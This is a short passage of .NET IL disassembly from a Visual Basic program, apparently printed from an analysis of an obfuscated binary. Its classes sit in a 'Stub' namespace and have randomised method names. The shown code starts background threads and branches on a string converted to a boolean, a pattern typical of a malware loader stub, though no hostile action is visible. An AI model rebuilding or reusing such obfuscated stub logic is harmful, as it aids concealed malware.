Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.FZy4S0c0ELgvLROsk::fvxroD8ndwSQHhQRD() call System.Void Stub.FZy4S0c0ELgvLROsk::fvxroD8ndwSQHhQRD() ldnull <null> ldftn System.Void Stub.GwpHFuLdRWWElwqID::5yxrjbp0Xj0gW02YB() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.BXLDRGQSOm1FD8qNy::fh0Y6VkD3ElWCNWD1() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03AD: ldnull call System.Void Stub.Hy4Y4LoWMj1l9gF0I::KI18bVMf1uE0S6s1G() ldnull <null> ldftn System.Void Stub.GwpHFuLdRWWElwqID::mKIHQvg7dtZHGSPD4() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.GwpHFuLdRWWElwqID::NUIbu7KDLgbfNUCNJ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |